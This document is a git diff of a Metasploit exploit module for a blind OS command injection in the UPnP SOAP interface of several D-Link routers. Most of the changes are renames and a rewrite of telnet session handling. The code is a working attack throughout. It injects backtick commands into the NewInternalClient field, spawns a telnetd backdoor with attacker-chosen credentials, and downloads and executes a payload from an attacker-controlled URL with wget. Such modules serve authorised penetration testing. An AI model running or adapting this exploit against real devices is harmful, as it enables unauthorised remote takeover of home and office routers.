@@ -14,6 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote
14
14
include Msf ::Exploit ::Remote ::HttpServer
15
15
include Msf ::Exploit ::EXE
16
16
include Msf ::Exploit ::FileDropper
17
+ include Msf ::Auxiliary ::CommandShell
17
18
18
19
def initialize ( info = { } )
19
20
super ( update_info ( info ,
@@ -27,7 +28,8 @@ def initialize(info = {})
27
28
a blind OS command injection vulnerability, there is no output for the executed
28
29
command when using the cmd generic payload. A ping command against a controlled
29
30
system could be used for testing purposes. This module has been tested successfully
30
- on DIR-300, DIR-600, DIR-645, DIR-845, DIR-865 and DAP1522.
31
+ on DIR-300, DIR-600, DIR-645, DIR-845, DIR-865.
32
+ It looks like that there are some more D-Link devices affected.
31
33
} ,
32
34
'Author' =>
33
35
[
@@ -84,7 +86,7 @@ def initialize(info = {})
84
86
end
85
87
86
88
87
- def request ( cmd , type , newExternalPort , newInternalPort , newPortMappingDescription )
89
+ def request ( cmd , type , new_external_port , new_internal_port , new_portmapping_description )
88
90
89
91
uri = '/soap.cgi'
90
92
data_uri = "?service=WANIPConn1"
@@ -96,25 +98,25 @@ def request(cmd,type,newExternalPort,newInternalPort,newPortMappingDescription)
96
98
if type == "add"
97
99
vprint_status ( "#{ rhost } :#{ rport } - adding portmapping" )
98
100
99
- sOAPAction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
101
+ soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
100
102
101
103
data_cmd << "<m:AddPortMapping xmlns:m=\" urn:schemas-upnp-org:service:WANIPConnection:1\" >"
102
- data_cmd << "<NewPortMappingDescription>#{ newPortMappingDescription } </NewPortMappingDescription>"
104
+ data_cmd << "<NewPortMappingDescription>#{ new_portmapping_description } </NewPortMappingDescription>"
103
105
data_cmd << "<NewLeaseDuration></NewLeaseDuration>"
104
106
data_cmd << "<NewInternalClient>`#{ cmd } `</NewInternalClient>"
105
107
data_cmd << "<NewEnabled>1</NewEnabled>"
106
- data_cmd << "<NewExternalPort>#{ newExternalPort } </NewExternalPort>"
108
+ data_cmd << "<NewExternalPort>#{ new_external_port } </NewExternalPort>"
107
109
data_cmd << "<NewRemoteHost></NewRemoteHost>"
108
110
data_cmd << "<NewProtocol>TCP</NewProtocol>"
109
- data_cmd << "<NewInternalPort>#{ newInternalPort } </NewInternalPort>"
111
+ data_cmd << "<NewInternalPort>#{ new_internal_port } </NewInternalPort>"
110
112
data_cmd << "</m:AddPortMapping>"
111
113
else
112
114
#we should clean it up ... otherwise we are not able to exploit it multiple times
113
115
vprint_status ( "#{ rhost } :#{ rport } - deleting portmapping" )
114
- sOAPAction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping"
116
+ soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping"
115
117
116
118
data_cmd << "<m:DeletePortMapping xmlns:m=\" urn:schemas-upnp-org:service:WANIPConnection:1\" >"
117
- data_cmd << "<NewProtocol>TCP</NewProtocol><NewExternalPort>#{ newExternalPort } </NewExternalPort><NewRemoteHost></NewRemoteHost>"
119
+ data_cmd << "<NewProtocol>TCP</NewProtocol><NewExternalPort>#{ new_external_port } </NewExternalPort><NewRemoteHost></NewRemoteHost>"
118
120
data_cmd << "</m:DeletePortMapping>"
119
121
end
120
122
@@ -124,9 +126,12 @@ def request(cmd,type,newExternalPort,newInternalPort,newPortMappingDescription)
124
126
begin
125
127
res = send_request_raw ( {
126
128
'uri' => uri << data_uri ,
129
+ #'vars_get' => {
130
+ # 'service' => 'WANIPConn1'
131
+ #},
127
132
'method' => 'POST' ,
128
133
'headers' => {
129
- 'SOAPAction' => sOAPAction ,
134
+ 'SOAPAction' => soapaction ,
130
135
'Content-Type' => "text/xml"
131
136
} ,
132
137
'data' => data_cmd
@@ -141,23 +146,23 @@ def request(cmd,type,newExternalPort,newInternalPort,newPortMappingDescription)
141
146
def exploit
142
147
downfile = datastore [ 'DOWNFILE' ] || rand_text_alpha ( 8 +rand ( 8 ) )
143
148
144
- newPortMappingDescription = rand_text_alpha ( 8 )
145
- newExternalPort = rand ( 65535 )
146
- newInternalPort = rand ( 65535 )
149
+ new_portmapping_description = rand_text_alpha ( 8 )
150
+ new_external_port = rand ( 65535 )
151
+ new_internal_port = rand ( 65535 )
147
152
148
153
if target . name =~ /CMD/
149
154
if not ( datastore [ 'CMD' ] )
150
155
fail_with ( Exploit ::Failure ::BadConfig , "#{ rhost } :#{ rport } - Only the cmd/generic payload is compatible" )
151
156
end
152
157
cmd = payload . encoded
153
158
type = "add"
154
- res = request ( cmd , type , newExternalPort , newInternalPort , newPortMappingDescription )
159
+ res = request ( cmd , type , new_external_port , new_internal_port , new_portmapping_description )
155
160
if ( !res or res . code != 200 )
156
161
fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to execute payload" )
157
162
end
158
163
print_status ( "#{ rhost } :#{ rport } - Blind Exploitation - unknown Exploitation state" )
159
164
type = "delete"
160
- res = request ( cmd , type , newExternalPort , newInternalPort , newPortMappingDescription )
165
+ res = request ( cmd , type , new_external_port , new_internal_port , new_portmapping_description )
161
166
if ( !res or res . code != 200 )
162
167
fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to execute payload" )
163
168
end
@@ -175,26 +180,25 @@ def exploit
175
180
176
181
cmd = "telnetd -p #{ telnetport } -l \" /usr/sbin/login\" -u #{ user } :#{ passw } "
177
182
type = "add"
178
- res = request ( cmd , type , newExternalPort , newInternalPort , newPortMappingDescription )
183
+ res = request ( cmd , type , new_external_port , new_internal_port , new_portmapping_description )
179
184
if ( !res or res . code != 200 )
180
185
fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to execute payload" )
181
186
end
182
187
type = "delete"
183
- res = request ( cmd , type , newExternalPort , newInternalPort , newPortMappingDescription )
188
+ res = request ( cmd , type , new_external_port , new_internal_port , new_portmapping_description )
184
189
if ( !res or res . code != 200 )
185
190
fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to execute payload" )
186
191
end
192
+
187
193
begin
188
- telnet_sock = nil
189
- telnet_sock = TCPSocket . open ( rhost , telnetport )
190
- if telnet_sock
194
+ sock = Rex :: Socket . create_tcp ( { 'PeerHost' => rhost , 'PeerPort' => telnetport . to_i } )
195
+
196
+ if sock
191
197
print_good ( "#{ rhost } :#{ rport } - Backdoor service has been spawned, handling..." )
192
198
else
193
199
print_error ( "#{ rhost } :#{ rport } - Backdoor service has not been spawned!!!" )
194
200
end
195
- telnet_sock . close
196
201
197
- #modules/auxiliary/scanner/telnet/telnet_login.rb
198
202
print_status "Attempting to start a Telnet session #{ rhost } :#{ telnetport } with #{ user } :#{ passw } "
199
203
auth_info = {
200
204
:host => rhost ,
@@ -206,15 +210,17 @@ def exploit
206
210
:active => true
207
211
}
208
212
report_auth_info ( auth_info )
213
+ merge_me = {
214
+ 'USERPASS_FILE' => nil ,
215
+ 'USER_FILE' => nil ,
216
+ 'PASS_FILE' => nil ,
217
+ 'USERNAME' => user ,
218
+ 'PASSWORD' => passw
219
+ }
209
220
# NOT WORKING
210
- #merge_me = {
211
- # 'USERPASS_FILE' => nil,
212
- # 'USER_FILE' => nil,
213
- # 'PASS_FILE' => nil,
214
- # 'USERNAME' => user,
215
- # 'PASSWORD' => passw
216
- #}
217
- #start_session(self, "TELNET #{user}:#{passw} (#{rhost}:#{telnetport})", merge_me, true)
221
+ conn = Net ::SSH ::CommandStream . new ( sock , '/bin/sh' , true )
222
+ #puts conn.methods.to_s
223
+ start_session ( self , "TELNET #{ user } :#{ passw } (#{ rhost } :#{ telnetport } )" , merge_me , false , conn . lsock )
218
224
rescue
219
225
print_error ( "#{ rhost } :#{ rport } - Backdoor service has not been spawned!!!" )
220
226
end
@@ -269,7 +275,7 @@ def exploit
269
275
270
276
cmd = "/usr/bin/wget #{ service_url } -O /tmp/#{ filename } ; chmod 777 /tmp/#{ filename } ; /tmp/#{ filename } "
271
277
type = "add"
272
- res = request ( cmd , type , newExternalPort , newInternalPort , newPortMappingDescription )
278
+ res = request ( cmd , type , new_external_port , new_internal_port , new_portmapping_description )
273
279
if ( !res or res . code != 200 )
274
280
fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to deploy payload" )
275
281
end
@@ -285,7 +291,7 @@ def exploit
285
291
register_file_for_cleanup ( "/tmp/#{ filename } " )
286
292
287
293
type = "delete"
288
- res = request ( cmd , type , newExternalPort , newInternalPort , newPortMappingDescription )
294
+ res = request ( cmd , type , new_external_port , new_internal_port , new_portmapping_description )
289
295
if ( !res or res . code != 200 )
290
296
fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to execute payload" )
291
297
end
0 commit comments